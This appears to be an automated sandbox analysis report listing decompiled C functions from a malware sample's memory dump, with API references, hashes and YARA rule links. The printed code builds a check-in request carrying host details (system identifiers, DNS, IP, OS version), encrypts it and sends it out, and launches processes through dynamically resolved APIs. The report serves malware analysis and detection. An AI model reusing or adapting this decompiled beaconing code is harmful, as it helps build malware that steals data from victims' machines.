				intOrPtr _t71;
				intOrPtr _t74;
				int _t77;
				intOrPtr _t78;
				int _t81;
				intOrPtr _t83;
				int _t86;
				intOrPtr* _t89;
				intOrPtr* _t90;
				void* _t91;
				void* _t95;
				void* _t96;
				void* _t97;
				intOrPtr _t98;
				void* _t100;
				int _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t106;
				void* _t108;

				_t95 = __edx;
				_t91 = __ecx;
				_t25 = __eax;
				_t105 = _a16;
				_v4 = 8;
				if(__eax == 0) {
					_t25 = GetTickCount();
				}
				_t26 =  *0x4b2d018; // 0x1f7541c4
				asm("bswap eax");
				_t27 =  *0x4b2d014; // 0x3a87c8cd
				asm("bswap eax");
				_t28 =  *0x4b2d010; // 0xd8d2f808
				asm("bswap eax");
				_t29 =  *0x4b2d00c; // 0xeec43f25
				asm("bswap eax");
				_t30 =  *0x4b2d27c; // 0x9ba5a8
				_t3 = _t30 + 0x4b2e633; // 0x74666f73
				_t101 = wsprintfA(_t105, _t3, 2, 0x3d14b, _t29, _t28, _t27, _t26,  *0x4b2d02c,  *0x4b2d004, _t25);
				_t33 = E04B21C1A();
				_t34 =  *0x4b2d27c; // 0x9ba5a8
				_t4 = _t34 + 0x4b2e673; // 0x74707526
				_t37 = wsprintfA(_t101 + _t105, _t4, _t33);
				_t108 = _t106 + 0x38;
				_t102 = _t101 + _t37;
				_t96 = E04B254BC(_t91);
				if(_t96 != 0) {
					_t83 =  *0x4b2d27c; // 0x9ba5a8
					_t6 = _t83 + 0x4b2e8eb; // 0x736e6426
					_t86 = wsprintfA(_t102 + _t105, _t6, _t96);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t86;
					HeapFree( *0x4b2d238, 0, _t96);
				}
				_t97 = E04B27649();
				if(_t97 != 0) {
					_t78 =  *0x4b2d27c; // 0x9ba5a8
					_t8 = _t78 + 0x4b2e8f3; // 0x6f687726
					_t81 = wsprintfA(_t102 + _t105, _t8, _t97);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t81;
					HeapFree( *0x4b2d238, 0, _t97);
				}
				_t98 =  *0x4b2d32c; // 0x54e95b0
				_a32 = E04B29395(0x4b2d00a, _t98 + 4);
				_t42 =  *0x4b2d2cc; // 0x0
				if(_t42 != 0) {
					_t74 =  *0x4b2d27c; // 0x9ba5a8
					_t11 = _t74 + 0x4b2e8cd; // 0x3d736f26
					_t77 = wsprintfA(_t102 + _t105, _t11, _t42);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t77;
				}
				_t43 =  *0x4b2d2c8; // 0x0
				if(_t43 != 0) {
					_t71 =  *0x4b2d27c; // 0x9ba5a8
					_t13 = _t71 + 0x4b2e8c6; // 0x3d706926
					wsprintfA(_t102 + _t105, _t13, _t43);
				}
				if(_a32 != 0) {
					_t100 = RtlAllocateHeap( *0x4b2d238, 0, 0x800);
					if(_t100 != 0) {
						E04B27A80(GetTickCount());
						_t50 =  *0x4b2d32c; // 0x54e95b0
						__imp__(_t50 + 0x40);
						asm("lock xadd [eax], ecx");
						_t54 =  *0x4b2d32c; // 0x54e95b0
						__imp__(_t54 + 0x40);
						_t56 =  *0x4b2d32c; // 0x54e95b0
						_t103 = E04B28307(1, _t95, _t105,  *_t56);
						asm("lock xadd [eax], ecx");
						if(_t103 != 0) {
							StrTrimA(_t103, 0x4b2c2ac);
							_push(_t103);
							_t62 = E04B23CC8();
							_v16 = _t62;
							if(_t62 != 0) {
								_t89 = __imp__;
								 *_t89(_t103, _v0);
								 *_t89(_t100, _a4);
								_t90 = __imp__;
								 *_t90(_t100, _v28);
								 *_t90(_t100, _t103);
								_t68 = E04B21199(0xffffffffffffffff, _t100, _v28, _v24);
								_v52 = _t68;
								if(_t68 != 0 && _t68 != 0x10d2) {
									E04B2A1B0();
								}
								HeapFree( *0x4b2d238, 0, _v44);
							}
							HeapFree( *0x4b2d238, 0, _t103);
						}
						HeapFree( *0x4b2d238, 0, _t100);
					}
					HeapFree( *0x4b2d238, 0, _a24);
				}
				HeapFree( *0x4b2d238, 0, _t105);
				return _a12;
			}

0x04b2a279
0x04b2a279
0x04b2a279
0x04b2a280
0x04b2a286
0x04b2a28e
0x04b2a290
0x04b2a290
0x04b2a29d
0x04b2a2a8
0x04b2a2ab
0x04b2a2b6
0x04b2a2b9
0x04b2a2be
0x04b2a2c1
0x04b2a2c6
0x04b2a2c9
0x04b2a2d5
0x04b2a2e2
0x04b2a2e4
0x04b2a2ea
0x04b2a2ef
0x04b2a2fa
0x04b2a2fc
0x04b2a2ff
0x04b2a306
0x04b2a30a
0x04b2a30c
0x04b2a311
0x04b2a31d
0x04b2a31f
0x04b2a32b
0x04b2a32d
0x04b2a32d
0x04b2a338
0x04b2a33c
0x04b2a33e
0x04b2a343
0x04b2a34f
0x04b2a351
0x04b2a35d
0x04b2a35f
0x04b2a35f
0x04b2a365
0x04b2a378
0x04b2a37c
0x04b2a383
0x04b2a386
0x04b2a38b
0x04b2a396
0x04b2a398
0x04b2a39b
0x04b2a39b
0x04b2a39d
0x04b2a3a4
0x04b2a3a7
0x04b2a3ac
0x04b2a3b6
0x04b2a3b8
0x04b2a3c0
0x04b2a3d9
0x04b2a3dd
0x04b2a3e9
0x04b2a3ee
0x04b2a3f7
0x04b2a408
0x04b2a40c
0x04b2a415
0x04b2a41b
0x04b2a428
0x04b2a435
0x04b2a43b
0x04b2a447
0x04b2a44d
0x04b2a44e
0x04b2a455
0x04b2a459
0x04b2a45f
0x04b2a466
0x04b2a46d
0x04b2a473
0x04b2a47a
0x04b2a47e
0x04b2a489
0x04b2a490
0x04b2a494
0x04b2a49d
0x04b2a49d
0x04b2a4ae
0x04b2a4ae
0x04b2a4bd
0x04b2a4bd
0x04b2a4cc
0x04b2a4cc
0x04b2a4de
0x04b2a4de
0x04b2a4ed
0x04b2a4fe

APIs

GetTickCount.KERNEL32 ref: 04B2A290
wsprintfA.USER32 ref: 04B2A2DD
wsprintfA.USER32 ref: 04B2A2FA
wsprintfA.USER32 ref: 04B2A31D
HeapFree.KERNEL32(00000000,00000000), ref: 04B2A32D
wsprintfA.USER32 ref: 04B2A34F
HeapFree.KERNEL32(00000000,00000000), ref: 04B2A35F
wsprintfA.USER32 ref: 04B2A396
wsprintfA.USER32 ref: 04B2A3B6
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04B2A3D3
GetTickCount.KERNEL32 ref: 04B2A3E3
RtlEnterCriticalSection.NTDLL(054E9570), ref: 04B2A3F7
RtlLeaveCriticalSection.NTDLL(054E9570), ref: 04B2A415

Part of subcall function 04B28307: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,7742C740,?,?,04B2A428,?,054E95B0), ref: 04B28332
Part of subcall function 04B28307: lstrlen.KERNEL32(?,?,?,04B2A428,?,054E95B0), ref: 04B2833A
Part of subcall function 04B28307: strcpy.NTDLL ref: 04B28351
Part of subcall function 04B28307: lstrcat.KERNEL32(00000000,?), ref: 04B2835C
Part of subcall function 04B28307: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,04B2A428,?,054E95B0), ref: 04B28379

StrTrimA.SHLWAPI(00000000,04B2C2AC,?,054E95B0), ref: 04B2A447

Part of subcall function 04B23CC8: lstrlen.KERNEL32(054E9910,00000000,00000000,7742C740,04B2A453,00000000), ref: 04B23CD8
Part of subcall function 04B23CC8: lstrlen.KERNEL32(?), ref: 04B23CE0
Part of subcall function 04B23CC8: lstrcpy.KERNEL32(00000000,054E9910), ref: 04B23CF4
Part of subcall function 04B23CC8: lstrcat.KERNEL32(00000000,?), ref: 04B23CFF

lstrcpy.KERNEL32(00000000,?), ref: 04B2A466
lstrcpy.KERNEL32(00000000,00000000), ref: 04B2A46D
lstrcat.KERNEL32(00000000,?), ref: 04B2A47A
lstrcat.KERNEL32(00000000,00000000), ref: 04B2A47E

Part of subcall function 04B21199: WaitForSingleObject.KERNEL32(00000000,00000000,00000000,74B481D0), ref: 04B2124B

HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 04B2A4AE
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 04B2A4BD
HeapFree.KERNEL32(00000000,00000000,?,054E95B0), ref: 04B2A4CC
HeapFree.KERNEL32(00000000,00000000), ref: 04B2A4DE
HeapFree.KERNEL32(00000000,?), ref: 04B2A4ED

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$wsprintf$lstrcatlstrlen$lstrcpy$CountCriticalSectionTickTrim$AllocateEnterLeaveObjectSingleWaitstrcpy
String ID:
API String ID: 3080378247-0
Opcode ID: 1e51ab3959d7703f84243ea6ace7cd6c63804a5149a8ac6a8e85ab27700fb9f3
Instruction ID: c4b4a9e14599bc287be95335e3183133b4d94d027f45633f7138b112a85938be
Opcode Fuzzy Hash: 1e51ab3959d7703f84243ea6ace7cd6c63804a5149a8ac6a8e85ab27700fb9f3
Instruction Fuzzy Hash: 3D61A771500210AFEB219B78EE88F5B7BECEB48710F054516F908D7260DA3EEC099B76

Uniqueness

Uniqueness Score: -1.00%

Function 04B2ADE5, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E04B2ADE5(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x4b20000;
				_t115 = _t139[3] + 0x4b20000;
				_t131 = _t139[4] + 0x4b20000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x4b20000;
				_v16 = _t139[5] + 0x4b20000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x4b20002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x4b2d1a0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x4b2d1a0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x4b2d1a0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x4b2d19c; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x4b2d1a0; // 0x0
					if(_t98 == 0) {
						L9:
						_t138 = LoadLibraryA(_v60);
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x4b2d198; // 0x0
										 *_t102 = _t125;
										 *0x4b2d198 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x4b2d19c; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}

0x04b2adf4
0x04b2ae0a
0x04b2ae10
0x04b2ae12
0x04b2ae17
0x04b2ae1d
0x04b2ae22
0x04b2ae25
0x04b2ae33
0x04b2ae3a
0x04b2ae3d
0x04b2ae40
0x04b2ae41
0x04b2ae44
0x04b2ae47
0x04b2ae4a
0x04b2ae4f
0x04b2ae5e
0x00000000
0x04b2ae64
0x04b2ae6e
0x04b2ae78
0x04b2ae7d
0x04b2ae7f
0x04b2ae89
0x04b2ae8c
0x04b2ae8f
0x04b2ae95
0x04b2ae97
0x04b2ae97
0x04b2ae9a
0x04b2ae9d
0x04b2aea2
0x04b2aea6
0x04b2aeb9
0x04b2aebb
0x04b2af63
0x04b2af63
0x04b2af6a
0x04b2af6d
0x04b2af77
0x04b2af77
0x04b2af7b
0x04b2aff9
0x04b2affc
0x04b2affe
0x04b2affe
0x04b2b005
0x04b2b007
0x04b2b011
0x04b2b014
0x04b2b017
0x04b2b017
0x00000000
0x04b2af7d
0x04b2af80
0x04b2afae
0x04b2afb8
0x04b2afbc
0x04b2afc4
0x04b2afc7
0x04b2afce
0x04b2afd8
0x04b2afd8
0x04b2afdc
0x04b2afe1
0x04b2aff0
0x04b2aff6
0x04b2aff6
0x04b2afdc
0x00000000
0x04b2af87
0x04b2af8a
0x04b2af92
0x04b2afa7
0x04b2afac
0x00000000
0x00000000
0x04b2afac
0x00000000
0x04b2af92
0x04b2af80
0x04b2af7b
0x04b2aec1
0x04b2aec8
0x04b2aed8
0x04b2aee1
0x04b2aee5
0x04b2af28
0x04b2af34
0x04b2af5d
0x04b2af36
0x04b2af3a
0x04b2af40
0x04b2af48
0x04b2af4a
0x04b2af4d
0x04b2af53
0x04b2af55
0x04b2af55
0x04b2af48
0x04b2af3a
0x00000000
0x04b2af34
0x04b2aeed
0x04b2aef0
0x04b2aef7
0x04b2af07
0x04b2af0a
0x04b2af1a
0x00000000
0x04b2af20
0x04b2af01
0x04b2af05
0x00000000
0x00000000
0x00000000
0x04b2af05
0x04b2aed2
0x04b2aed6
0x00000000
0x00000000
0x00000000
0x04b2aed6
0x04b2aeaf
0x04b2aeb3
0x00000000
0x00000000
0x00000000

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 04B2AE5E
LoadLibraryA.KERNEL32(?), ref: 04B2AEDB
GetLastError.KERNEL32 ref: 04B2AEE7
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 04B2AF1A

Strings

$, xrefs: 04B2AE33

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: ExceptionRaise$ErrorLastLibraryLoad
String ID: $
API String ID: 948315288-3993045852
Opcode ID: 8ee916bb8805d5ad44f08443037ec53c146868a117d0bf7d7bbb6f38687e3379
Instruction ID: 490b0759288b9941e2b67ef09d15322c973d82da621d3194f0a82ed8fc1662d4
Opcode Fuzzy Hash: 8ee916bb8805d5ad44f08443037ec53c146868a117d0bf7d7bbb6f38687e3379
Instruction Fuzzy Hash: 0F813EB1A002159FDB21CFA8DA84BAEB7F5FF4C710F10816AE919E7240E774E945CB60

Uniqueness

Uniqueness Score: -1.00%

Function 04B2816C, Relevance: 13.6, APIs: 9, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E04B2816C(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				intOrPtr _v20;
				signed int _v24;
				void* __esi;
				long _t43;
				intOrPtr _t44;
				intOrPtr _t46;
				void* _t48;
				void* _t49;
				void* _t50;
				intOrPtr _t54;
				intOrPtr _t57;
				void* _t58;
				void* _t59;
				void* _t60;
				intOrPtr _t66;
				void* _t71;
				void* _t74;
				intOrPtr _t75;
				void* _t77;
				intOrPtr _t79;
				intOrPtr* _t80;
				intOrPtr _t91;

				_t79 =  *0x4b2d33c; // 0x54e9bd8
				_v24 = 8;
				_t43 = GetTickCount();
				_push(5);
				_t74 = 0xa;
				_v16 = _t43;
				_t44 = E04B270F5(_t74,  &_v16);
				_v8 = _t44;
				if(_t44 == 0) {
					_v8 = 0x4b2c1ac;
				}
				_t46 = E04B28022(_t79);
				_v12 = _t46;
				if(_t46 != 0) {
					_t80 = __imp__;
					_t48 =  *_t80(_v8, _t71);
					_t49 =  *_t80(_v12);
					_t50 =  *_t80(_a4);
					_t54 = E04B22049(lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + 0x102);
					_v20 = _t54;
					if(_t54 != 0) {
						_t75 =  *0x4b2d27c; // 0x9ba5a8
						_t16 = _t75 + 0x4b2eb28; // 0x530025
						 *0x4b2d11c(_t54, _t16, _v8, _v8, _a4, _v12, _a8);
						_push(4);
						_t77 = 5;
						_t57 = E04B270F5(_t77,  &_v16);
						_v8 = _t57;
						if(_t57 == 0) {
							_v8 = 0x4b2c1b0;
						}
						_t58 =  *_t80(_v8);
						_t59 =  *_t80(_v12);
						_t60 =  *_t80(_a4);
						_t91 = E04B22049(lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + 0x13a);
						if(_t91 == 0) {
							E04B29039(_v20);
						} else {
							_t66 =  *0x4b2d27c; // 0x9ba5a8
							_t31 = _t66 + 0x4b2ec48; // 0x73006d
							 *0x4b2d11c(_t91, _t31, _v8, _v8, _a4, _v12, _a12);
							 *_a16 = _v20;
							_v24 = _v24 & 0x00000000;
							 *_a20 = _t91;
						}
					}
					E04B29039(_v12);
				}
				return _v24;
			}

0x04b28174
0x04b2817a
0x04b28181
0x04b28187
0x04b2818b
0x04b2818f
0x04b28192
0x04b28199
0x04b2819c
0x04b2819e
0x04b2819e
0x04b281a7
0x04b281ae
0x04b281b1
0x04b281b7
0x04b281c1
0x04b281ca
0x04b281d1
0x04b281ea
0x04b281f1
0x04b281f4
0x04b281fd
0x04b28206
0x04b28217
0x04b28220
0x04b28224
0x04b28228
0x04b2822f
0x04b28232
0x04b28234
0x04b28234
0x04b2823e
0x04b28247
0x04b2824e
0x04b28266
0x04b2826a
0x04b282a7
0x04b2826c
0x04b2826f
0x04b28277
0x04b28288
0x04b28294
0x04b2829c
0x04b282a0
0x04b282a0
0x04b2826a
0x04b282af
0x04b282b4
0x04b282bb

APIs

GetTickCount.KERNEL32 ref: 04B28181
lstrlen.KERNEL32(?,80000002,00000005), ref: 04B281C1
lstrlen.KERNEL32(00000000), ref: 04B281CA
lstrlen.KERNEL32(00000000), ref: 04B281D1
lstrlenW.KERNEL32(80000002), ref: 04B281DE
lstrlen.KERNEL32(?,00000004), ref: 04B2823E
lstrlen.KERNEL32(?), ref: 04B28247
lstrlen.KERNEL32(?), ref: 04B2824E
lstrlenW.KERNEL32(?), ref: 04B28255

Part of subcall function 04B29039: HeapFree.KERNEL32(00000000,00000000,04B27F18,00000000,?,?,00000000), ref: 04B29045

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$CountFreeHeapTick
String ID:
API String ID: 2535036572-0
Opcode ID: b1599265125de10cd309db1828c794c90dd0520c44e2ab71eb2eb397759aeefe
Instruction ID: fb3dd3dda47d09204d4dc9b352671a0d5c6363eb3dbae06d0887518ed6cb1bb9
Opcode Fuzzy Hash: b1599265125de10cd309db1828c794c90dd0520c44e2ab71eb2eb397759aeefe
Instruction Fuzzy Hash: 47414172900129EFDF21AFA4CE05ADE7BB5FF48344F054091ED08A7211D7369A15EFA5

Uniqueness

Uniqueness Score: -1.00%

Function 04B2205E, Relevance: 10.6, APIs: 7, Instructions: 109
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E04B2205E(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E04B2692C(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E04B2A8D8( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x4b2d260 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x4b2d27c; // 0x9ba5a8
					_t18 = _t47 + 0x4b2e3e6; // 0x73797325
					_t68 = E04B295B1(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x4b2d27c; // 0x9ba5a8
						_t19 = _t50 + 0x4b2e747; // 0x54e8cef
						_t20 = _t50 + 0x4b2e0af; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E04B284D5();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E04B284D5();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x4b2d238, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E04B29039(_t70);
				goto L12;
			}

0x04b22066
0x04b22066
0x04b22075
0x04b2207e
0x04b22081
0x04b2218e
0x04b22195
0x04b22195
0x04b22090
0x04b22098
0x04b2209d
0x04b220a0
0x04b220b5
0x04b220bb
0x04b220bc
0x04b220bf
0x04b220c5
0x04b220c8
0x04b220cd
0x04b220d5
0x04b220e1
0x04b220e5
0x04b22175
0x04b220eb
0x04b220eb
0x04b220f0
0x04b220f7
0x04b2210b
0x04b2210f
0x04b2215e
0x04b22111
0x04b22112
0x04b22119
0x04b22132
0x04b22134
0x04b22138
0x04b2213f
0x04b22159
0x04b22141
0x04b2214a
0x04b2214f
0x04b2214f
0x04b2213f
0x04b2216d
0x04b2216d
0x04b220e5
0x04b2217c
0x04b22185
0x04b22189
0x00000000

APIs

Part of subcall function 04B2692C: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,04B2207A,?,00000001,?,?,00000000,00000000), ref: 04B26951
Part of subcall function 04B2692C: GetProcAddress.KERNEL32(00000000,7243775A), ref: 04B26973
Part of subcall function 04B2692C: GetProcAddress.KERNEL32(00000000,614D775A), ref: 04B26989
Part of subcall function 04B2692C: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 04B2699F
Part of subcall function 04B2692C: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 04B269B5
Part of subcall function 04B2692C: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 04B269CB

memset.NTDLL ref: 04B220C8

Part of subcall function 04B295B1: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,04B223E9,63699BCE,04B21354,73797325), ref: 04B295C2
Part of subcall function 04B295B1: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 04B295DC

GetModuleHandleA.KERNEL32(4E52454B,054E8CEF,73797325), ref: 04B220FE
GetProcAddress.KERNEL32(00000000), ref: 04B22105
HeapFree.KERNEL32(00000000,00000000), ref: 04B2216D

Part of subcall function 04B284D5: GetProcAddress.KERNEL32(36776F57,04B221E5), ref: 04B284F0

CloseHandle.KERNEL32(00000000,00000001), ref: 04B2214A
CloseHandle.KERNEL32(?), ref: 04B2214F
GetLastError.KERNEL32(00000001), ref: 04B22153

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
String ID:
API String ID: 3075724336-0
Opcode ID: a3a0a488faba14780af469ed0f0a4a663c5109966282061ec2bc8bcc765bf84f
Instruction ID: f15f939eaab28635a265af21332fcb23edf3472b702bdf619ec5e8495c83b2f8
Opcode Fuzzy Hash: a3a0a488faba14780af469ed0f0a4a663c5109966282061ec2bc8bcc765bf84f
Instruction Fuzzy Hash: 33311FB2900218BFEB209FE4DE84D9FBBBCEB08345F0144A6E619E7110D739AD559B60

Uniqueness

Uniqueness Score: -1.00%

Function 04B28307, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E04B28307(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				intOrPtr* _t40;
				char* _t41;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x4b2d27c; // 0x9ba5a8
				_t1 = _t9 + 0x4b2e62c; // 0x253d7325
				_t36 = 0;
				_t28 = E04B29401(__ecx, _t1);
				if(_t28 != 0) {
					_t40 = __imp__;
					_t13 =  *_t40(_t28);
					_v8 = _t13;
					_t41 = E04B22049(_v8 +  *_t40(_a4) + 1);
					if(_t41 != 0) {
						strcpy(_t41, _t28);
						_pop(_t33);
						__imp__(_t41, _a4);
						_t36 = E04B27225(_t34, _t41, _a8);
						E04B29039(_t41);
						_t42 = E04B28E82(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E04B29039(_t36);
							_t36 = _t42;
						}
						_t43 = E04B2788B(_t36, _t33);
						if(_t43 != 0) {
							E04B29039(_t36);
							_t36 = _t43;
						}
					}
					E04B29039(_t28);
				}
				return _t36;
			}

0x04b28307
0x04b2830a
0x04b2830b
0x04b28313
0x04b2831a
0x04b28321
0x04b28325
0x04b2832b
0x04b28332
0x04b28337
0x04b28349
0x04b2834d
0x04b28351
0x04b28357
0x04b2835c
0x04b2836c
0x04b2836e
0x04b28385
0x04b28389
0x04b2838c
0x04b28391
0x04b28391
0x04b2839a
0x04b2839e
0x04b283a1
0x04b283a6
0x04b283a6
0x04b2839e
0x04b283a9
0x04b283a9
0x04b283b4

APIs

Part of subcall function 04B29401: lstrlen.KERNEL32(00000000,00000000,00000000,7742C740,?,?,?,04B28321,253D7325,00000000,00000000,7742C740,?,?,04B2A428,?), ref: 04B29468
Part of subcall function 04B29401: sprintf.NTDLL ref: 04B29489

lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,7742C740,?,?,04B2A428,?,054E95B0), ref: 04B28332
lstrlen.KERNEL32(?,?,?,04B2A428,?,054E95B0), ref: 04B2833A

Part of subcall function 04B22049: RtlAllocateHeap.NTDLL(00000000,00000000,04B27E50), ref: 04B22055

